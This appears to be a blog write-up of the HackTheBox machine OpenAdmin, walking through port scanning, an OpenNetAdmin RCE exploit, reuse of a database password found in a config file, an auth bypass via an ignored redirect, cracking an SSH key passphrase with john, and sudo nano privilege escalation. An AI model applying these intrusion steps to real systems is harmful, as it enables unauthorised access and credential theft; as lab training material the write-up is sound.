OpenAdmin – HackTheBox WriteUp

post image


OpenAdmin just retired today. I had lots of fun solving it and I learned that nano can be abused for privesc (just like vim). Its IP address is ‘’ and I added it to ‘/etc/hosts’ as ‘openadmin.htb’. Without further ado, let’s jump right in!

Scanning and Shell as www-data

A basic nmap scan was enough to get me started:

root@fury-battlestation:~/htb/blog/openadmin# nmap -sV -oN scan.txt openadmin.htb
# Nmap 7.80 scan initiated Wed Mar 18 12:14:26 2020 as: nmap -sV -oN scan.txt openadmin.htb
Nmap scan report for openadmin.htb (
Host is up (0.11s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
# Nmap done at Wed Mar 18 12:14:52 2020 -- 1 IP address (1 host up) scanned in 25.96 seconds

Port 80 hosted the default Apache page:

As there were no more ports open (except 22 - which I couldn’t see a way to exploit), I ran dirb on the site:

root@fury-battlestation:~/htb/blog/openadmin# dirb http://openadmin.htb

DIRB v2.22    
By The Dark Raver

START_TIME: Wed Mar 18 12:12:18 2020
URL_BASE: http://openadmin.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt


GENERATED WORDS: 4612                                                          

---- Scanning URL: http://openadmin.htb/ ----
==> DIRECTORY: http://openadmin.htb/artwork/                                                     
+ http://openadmin.htb/index.html (CODE:200|SIZE:10918)                                          
==> DIRECTORY: http://openadmin.htb/music/                                                       
+ http://openadmin.htb/server-status (CODE:403|SIZE:278)                                         
---- Entering directory: http://openadmin.htb/artwork/ ----
==> DIRECTORY: http://openadmin.htb/artwork/css/                                                 
==> DIRECTORY: http://openadmin.htb/artwork/fonts/                                               
==> DIRECTORY: http://openadmin.htb/artwork/images/                                              
+ http://openadmin.htb/artwork/index.html (CODE:200|SIZE:14461)                                  
^C> Testing: http://openadmin.htb/artwork/jennifer                                               

Dirb found multiple folders, but the most intresting ones are /artwork/ and /music/:

By clicking ‘login’ on the /music/ page, I got redirected to /ona:

As even the app complained the version is outdated, I started searching for exploits online and found this one. I downloaded it, converted it to a unix file (it contained \r characters) and then ran it against the /ova/ directory:

root@fury-battlestation:~/htb/blog/openadmin# wget -O
--2020-03-18 12:34:20--
Resolving (
Connecting to (||:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 779 [text/plain]
Saving to: ‘’               100%[================================>]     779  --.-KB/s    in 0s      

2020-03-18 12:34:20 (2.68 MB/s) - ‘’ saved [779/779]

root@fury-battlestation:~/htb/blog/openadmin# dos2unix ./ 
dos2unix: converting file ./ to Unix format...
root@fury-battlestation:~/htb/blog/openadmin# chmod +x 
root@fury-battlestation:~/htb/blog/openadmin# ./ http://openadmin.htb/ona/
$ whoami

That was easy, wasn’t it? :)

Getting user.txt

After getting a shell, I found mysef in ova’s http directory:

$ ls -l
total 60
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 config
-rw-rw-r-- 1 www-data www-data 1949 Jan  3  2018 config_dnld.php
-rw-rw-r-- 1 www-data www-data 4160 Jan  3  2018 dcm.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 images
drwxrwxr-x 9 www-data www-data 4096 Jan  3  2018 include
-rw-rw-r-- 1 www-data www-data 1999 Jan  3  2018 index.php
drwxrwxr-x 5 www-data www-data 4096 Jan  3  2018 local
-rw-rw-r-- 1 www-data www-data 4526 Jan  3  2018 login.php
-rw-rw-r-- 1 www-data www-data 1106 Jan  3  2018 logout.php
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 modules
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 plugins
drwxrwxr-x 2 www-data www-data 4096 Jan  3  2018 winc
drwxrwxr-x 3 www-data www-data 4096 Jan  3  2018 workspace_plugins
$ pwd

After a bit of playing around, I found the database password in a config file:

$ cd ./local/config; pwd; cat ./

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',


The password din’t look random, so I enumerated the users of the box and tried to log in as them using it:

$ ls /home

The password worked for jimmy:

root@fury-battlestation:~/htb/blog/openadmin# ssh jimmy@openadmin.htb
jimmy@openadmin.htb\'s password: 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:
 * Management:
 * Support:

  System information as of Wed Mar 18 16:54:49 UTC 2020

  System load:  1.63              Processes:             129
  Usage of /:   49.6% of 7.81GB   Users logged in:       1
  Memory usage: 19%               IP address for ens160:
  Swap usage:   0%

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

41 packages can be updated.
12 updates are security updates.

Failed to connect to Check your Internet connection or proxy settings

Last login: Thu Jan  2 20:50:03 2020 from
jimmy@openadmin:~$ ls

However, there was no user proof in jimmy’s home directory. This made me believe that the user proof was located in joanna’s. After some basic enumeration, I discovered an interesting folder in /var/www:

jimmy@openadmin:/var/www$ cd internal/
jimmy@openadmin:/var/www/internal$ l
index.php*  logout.php*  main.php*

The ‘main.php’ file seemed to print joanna’s id_rsa file if the user was logged in:

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

The code that handled authentication was located in index.php. As the file was a little bit long, I will only paste the snippet that allowed me to move further:

            $msg = '';

            if (isset($_POST['login']) && !empty($_POST['username']) && !empty($_POST['password'])) {
              if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') {
                  $_SESSION['username'] = 'jimmy';
                  header("Location: /main.php");
              } else {
                  $msg = 'Wrong username or password.';

The web app only authenticated the user if the username was jimmy and the given password hashed to a hard-coded string. A quick visit to CrackStation revealed that the password was… Revealed. The site was not exposed externally (and was hosted inside a folder called ‘internal’), so it was most probably running on a local port. A quick ‘netstat’ command revealed all open local ports:

jimmy@openadmin:/var/www/internal$ netstat -na | grep -i LISTEN
tcp        0      0*               LISTEN     
tcp        0      0*               LISTEN     
tcp        0      0 *               LISTEN     
tcp        0      0  *               LISTEN     
tcp        0      0  *               LISTEN     
tcp        0      0 *               LISTEN     
tcp        0      0    *               LISTEN     
tcp6       0      0 :::80                   :::*                    LISTEN     
tcp6       0      0 :::22                   :::*                    LISTEN     
unix  2      [ ACC ]     STREAM     LISTENING     16644    /var/run/dbus/system_bus_socket

There are only a few possible ports, so I used curl to test each of them individually. Port 52846 worked:

jimmy@openadmin:/var/www/internal$ curl --output -
<pre>-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D

<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

I saved the key to ~/.ssh/openadmin_user and used it to connect as joanna:

root@fury-battlestation:~/htb/blog/openadmin# ssh joanna@openadmin.htb -i ~/.ssh/openadmin_user 
Enter passphrase for key '/root/.ssh/openadmin_user': 


The key is password-protected, so I used john to crack the passphrase and then removed it from the key:

root@fury-battlestation:~/htb/blog/openadmin# /usr/share/john/ ~/.ssh/openadmin_user > crackme
root@fury-battlestation:~/htb/blog/openadmin# john --wordlist=/usr/share/wordlists/rockyou.txt crackme
Using default input encoding: UTF-8
Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 2 OpenMP threads
Note: This format may emit false positives, so it will keep trying even after
finding a possible candidate.
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas      (/root/.ssh/openadmin_user)
1g 0:00:00:07 DONE (2020-03-18 13:14) 0.1410g/s 2022Kp/s 2022Kc/s 2022KC/sa6_123..*7¡Vamos!
Session completed
root@fury-battlestation:~/htb/blog/openadmin# ssh-keygen -p -P bloodninjas -N '' -f ~/.ssh/openadmin_user
Your identification has been saved with the new passphrase.

I was then able to use the key to log in as joanna:

root@fury-battlestation:~/htb/blog/openadmin# ssh joanna@openadmin.htb -i ~/.ssh/openadmin_user 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-70-generic x86_64)

 * Documentation:
 * Management:
 * Support:

 System information disabled due to load higher than 2.0

 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:

41 packages can be updated.
12 updates are security updates.

Last login: Thu Jan  2 21:12:40 2020 from
joanna@openadmin:~$ wc user.txt 
 1  1 33 user.txt

The user proof starts with ‘c9’ 😉

Wait… what?!

Loog again at the curl command:

curl --output -

Does it look like I provided the authentication data? No, I didn’t. The reason is simple: the authentication mechanism in main.php is flawed:

session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); };

The above script just adds a redirection header; it does not stop the execution of the rest of the page. As cURL ignores redirection headers by default, I bypassed the authentication system (AWAE, here I come!).

Exploiting nano

After I submitted the use proof, I began enumeating the box again. I found out that joanna could run nano as root without providing a password:

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass,

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

I have never exploited nano for privesc, but lucky for me GTFOBins had an entry that showed the process step-by-step. I won’t post any snippet here, as that method kind of plays with your terminal display (do it and you’ll se what I’m talking about).

The root proof starts with ‘2f’ 😉

If you liked this post and want to support me, please follow me on Twitter 🙂

Until next time, hack the world.

yakuhito, over.

Published on May 2, 2020